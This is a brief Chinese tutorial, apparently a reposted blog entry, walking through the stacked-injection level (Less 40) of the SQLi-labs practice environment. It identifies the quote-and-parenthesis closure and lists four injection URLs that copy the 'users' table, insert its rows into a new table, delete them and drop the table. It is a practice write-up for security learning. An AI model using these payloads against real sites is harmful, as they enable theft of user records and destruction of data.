Java教程

Sqli labs less 40

本文主要是介绍Sqli labs less 40,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

 

 2.把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句,测试得出此处是单引号和括号闭合的字符型盲注。

 

 3.堆叠注入

?id=1');CREATE TABLE WhiteMoon LIKE users;--+
?id=1');INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1');DELETE FROM WhiteMoon;--+
?id=1');DROP TABLE WhiteMoon;--+

 

这篇关于Sqli labs less 40的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!